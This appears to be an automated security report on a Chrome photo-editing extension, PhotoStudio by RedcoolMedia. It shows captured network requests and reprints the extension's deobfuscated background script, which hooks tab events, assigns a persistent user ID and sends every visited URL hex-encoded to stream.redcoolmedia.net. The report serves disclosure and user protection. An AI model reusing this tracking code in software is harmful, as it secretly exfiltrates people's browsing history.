Is Photo editor PhotoStudio for images safe?

High risk

PhotoStudio is high risk. We observed PhotoStudio send a request to stream.redcoolmedia.net when a page was visited. The request carried the page URL as a hex-encoded l parameter, included hex=1, and reused the same 10-character extension identifier in u.…

RedcoolMediav1.7.9Chrome Web Store
75Risk
Who publishes it

RedcoolMedia - 15 other listings from the same operator, 10 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
RedcoolMedia
Registered address
Europe Avenue, S/N, Pozuelo 28224, Spain

Same store account

15 other listings published from this account, 412k+ users between them. 10 of them carry a finding.

Shared hosts - 2 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

stream.redcoolmedia.net
Also called by 4 other listings
redcoolmedia.net
Also called by 8 other listings

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Every visited URL is sent to Redcoolmedia

We observed PhotoStudio send a request to stream.redcoolmedia.net when a page was visited.

The request carried the page URL as a hex-encoded l parameter, included hex=1, and reused the same 10-character extension identifier in u.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open a web page or switch to an already-open tab.

The code ignores Redcoolmedia pages but handles other http and https tab URLs.

The extension did this

The extension sends that page URL to stream.redcoolmedia.net.

Dynamic analysis observed one matching request for each of four navigations.

02EvidenceNETWORK CAPTURE
Captured request
GEThttps://stream.redcoolmedia.net/api/photostudiou.php?l=68747470733a2f2f656e2e77696b6970656469612e6f72672f77696b692f43414e4152595f544553545f55524c5f424952445f3132333435&hex=1&u=kcnc7wfjuk
The verification evidence recorded 4 GET requests to this endpoint, one per navigation; each `l` value decoded to the visited URL.
03EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The visited URL is hex-encoded in the request, so the readable page address is not visible until decoded.

What's actually being sent
The decoded value was a planted marker URL on en.wikipedia.org and matched the page visited during dynamic analysis.
04EvidenceFIELD TABLE
Fields carried by the observed GET request
FieldValueWhy it matters
Visited page URL
Hex parameter `l=68747470733a2f2f656e2e77696b6970656469612e6f72672f77696b692f43414e4152595f544553545f55524c5f424952445f3132333435`Shows the exact page you opened, which can reveal your browsing history and page-level context.
Hex marker
hex=1Tells the receiving server that the page URL was sent in encoded form.
Extension user ID
kcnc7wfjukLets the receiver link multiple page visits from the same browser profile over time.
05EvidenceCODE COMPARE
The code that does this

Tab navigation handlers and URL transmission code

What it actually does
Service worker imports the tracking codeservice.js
importScripts(
    "./web.js"
);
Tab activation and update events call xdii()web.js
function xdii(tabId) {
      chrome.tabs.get(tabId, function(tab) {          
            if ( ( tab.url.indexOf("redco") == -1 ) && ( tab.url.indexOf("http") !== -1 ) && ( lasiee != tab.url) )  {
                    utyu =  tab.url;
                    rtcc = "";
                    rtcc =   utyu;  
                    exx(rtcc);
                    lasiee = tab.url;
            }
      });
}


function web() {
    this.init = function () {
        
        chrome.tabs.onActivated.addListener(function(activeInfo) {
                aati = activeInfo.tabId;
                xdii(aati);
        });

        chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
                    xdii(tabId);
        });
     
    };
}
exx() stores the identifier and sends the encoded URLweb.js
async function exx(urly) {
    
    
    var redxda = { usernameredcool: null,  redcoolonline: null };
    var usernameredcool = "";
    var redcoolonline = "";
    const redcool_key = "redcool_key";

    let storageResult = await chrome.storage.local.get([redcool_key]);

    if (redcool_key in storageResult) {
            redxda = storageResult[redcool_key]
    }

    if ( redxda.usernameredcool ) {
        usernameredcool = redxda.usernameredcool;
    }
    else {
        usernameredcool = "" + randomString(10) + "".toLowerCase();
        redxda.usernameredcool = usernameredcool;
    }

    if ( redxda.redcoolonline ) {
        redcoolonline = redxda.redcoolonline;
    }
    else {
        redcoolonline = "1";
        redxda.redcoolonline = "1";
    }

    var stox = {};
    stox[redcool_key] = redxda;
    await chrome.storage.local.set(stox);
    
    var date = new Date();
                
    var un = usernameredcool;
    
    if ( redxda.redcoolonline == "0") 
        return;
    
        
     let rtcx = await fetch('https://stream.redcoolmedia.net/api/photostudiou.php?l=' + bin2hex(urly) + '&hex=1&u=' + un);
                    
     if (rtcx.status === 200) {
              let dsx = await rtcx.text();
              console.log(dsx);  
              var rse2 = dsx;
              if ( rse2.indexOf("302") !== -1 )   {
                       var cvcv = 'https://www.redcoolmedia.net/api/app-photostudio.php?url=' + bin2hex(urly) + '&u=' + un;
                       //chrome.tabs.create({ url: cvcv });
                       chrome.tabs.update(chrome.tabs.getCurrent().id, {url: cvcv});
             }
                                  
     }   
    
    
                
    
}
bin2hex() encodes the URL before transmissionweb.js
function bin2hex (bin)
{
  var i = 0, l = bin.length, chr, hex = '';
  for (i; i < l; ++i)
  {
    chr = bin.charCodeAt(i).toString(16)
    hex += chr.length < 2 ? '0' + chr : chr
  }
  return hex
}
06EvidenceTHIRD PARTY LIST
External destination receiving browsing URLs
  • stream.redcoolmedia.net

    Receives GET requests to /api/photostudiou.php containing the hex-encoded visited URL and persistent extension user ID.

SeverityMEDIUM
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

Persistent ID Sent With Browsing Reports

PhotoStudio stores a 10-character identifier and sends it to stream.redcoolmedia.net with browsing-report requests.

The captured value was kcnc7wfjuk, appearing as the u parameter in all four captured requests across multiple sites.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You install and use the photo-editing extension while browsing the web.

The background worker receives tab activation and tab update events.

The extension did this

The extension stores a browser-specific ID and sends it with page-report requests.

Observed requests used the same u value that was present in extension storage.

02EvidenceSTORAGE DUMP
What's stored on your device

This gives the extension a stable value it can attach to multiple page reports from the same browser profile.

Locationchrome.storage.local key redcool_key
Contents (JSON)
{
  "redcool_key": {
    "redcoolonline": "1",
    "usernameredcool": "kcnc7wfjuk"
  }
}
03EvidenceFIELD TABLE
Fields linked by the reporting request
FieldValueWhy it matters
Persistent browser ID
kcnc7wfjukThis links separate requests from the same browser profile over time.
Visited page URL
https://www.google.com/This tells the remote service which page was being viewed when the extension reported it.
Encoded page URL
68747470733a2f2f7777772e676f6f676c652e636f6d2fThe page address is sent in a less readable form, but it still represents the page you visited.
04EvidenceNETWORK CAPTURE
Captured request
GEThttps://stream.redcoolmedia.net/api/photostudiou.php?l=68747470733a2f2f7777772e676f6f676c652e636f6d2f&hex=1&u=kcnc7wfjuk
Captured traffic showed the same u value in all four requests to this endpoint.
05EvidenceCODE COMPARE
The code that does this

The background worker creates the ID and appends it to reports

What it actually does
Deobfuscated web.js shows the same ID and request flowweb.js
function xdii(tabId) {
      chrome.tabs.get(tabId, function(tab) {          
            if ( ( tab.url.indexOf("redco") == -1 ) && ( tab.url.indexOf("http") !== -1 ) && ( lasiee != tab.url) )  {
                    utyu =  tab.url;
                    rtcc = "";
                    rtcc =   utyu;  
                    exx(rtcc);
                    lasiee = tab.url;
            }
      });
}


function web() {
    this.init = function () {
        
        chrome.tabs.onActivated.addListener(function(activeInfo) {
                aati = activeInfo.tabId;
                xdii(aati);
        });

        chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
                    xdii(tabId);
        });
     
    };
}


function randomString(len, charSet) {
    charSet = charSet || 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    var randomString = '';
    for (var i = 0; i < len; i++) {
        var randomPoz = Math.floor(Math.random() * charSet.length);
        randomString += charSet.substring(randomPoz,randomPoz+1);
    }
    return randomString.toLowerCase();
}



async function exx(urly) {
    
    
    var redxda = { usernameredcool: null,  redcoolonline: null };
    var usernameredcool = "";
    var redcoolonline = "";
    const redcool_key = "redcool_key";

    let storageResult = await chrome.storage.local.get([redcool_key]);

    if (redcool_key in storageResult) {
            redxda = storageResult[redcool_key]
    }

    if ( redxda.usernameredcool ) {
        usernameredcool = redxda.usernameredcool;
    }
    else {
        usernameredcool = "" + randomString(10) + "".toLowerCase();
        redxda.usernameredcool = usernameredcool;
    }

    if ( redxda.redcoolonline ) {
        redcoolonline = redxda.redcoolonline;
    }
    else {
        redcoolonline = "1";
        redxda.redcoolonline = "1";
    }

    var stox = {};
    stox[redcool_key] = redxda;
    await chrome.storage.local.set(stox);
    
    var date = new Date();
                
    var un = usernameredcool;
    
    if ( redxda.redcoolonline == "0") 
        return;
    
        
     let rtcx = await fetch('https://stream.redcoolmedia.net/api/photostudiou.php?l=' + bin2hex(urly) + '&hex=1&u=' + un);
                    
     if (rtcx.status === 200) {
              let dsx = await rtcx.text();
              console.log(dsx);  
              var rse2 = dsx;
              if ( rse2.indexOf("302") !== -1 )   {
                       var cvcv = 'https://www.redcoolmedia.net/api/app-photostudio.php?url=' + bin2hex(urly) + '&u=' + un;
                       //chrome.tabs.create({ url: cvcv });
                       chrome.tabs.update(chrome.tabs.getCurrent().id, {url: cvcv});
             }
                                  
     }   
    
    
                
    
}


function bin2hex (bin)
{
  var i = 0, l = bin.length, chr, hex = '';
  for (i; i < l; ++i)
  {
    chr = bin.charCodeAt(i).toString(16)
    hex += chr.length < 2 ? '0' + chr : chr
  }
  return hex
}
06EvidenceTHIRD PARTY LIST
Remote services receiving the identifier
  • stream.redcoolmedia.net

    Receives the page-report request with the stored browser identifier as the u query parameter.

  • www.redcoolmedia.net

    Receives the same identifier as username or u in related PhotoStudio service URLs opened by the extension.

What it can do

Permissions this extension asks for, as declared in version 1.7.9. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

Updated 30 September 2026dpjgafhldafgelgpilaghplfgecjojgp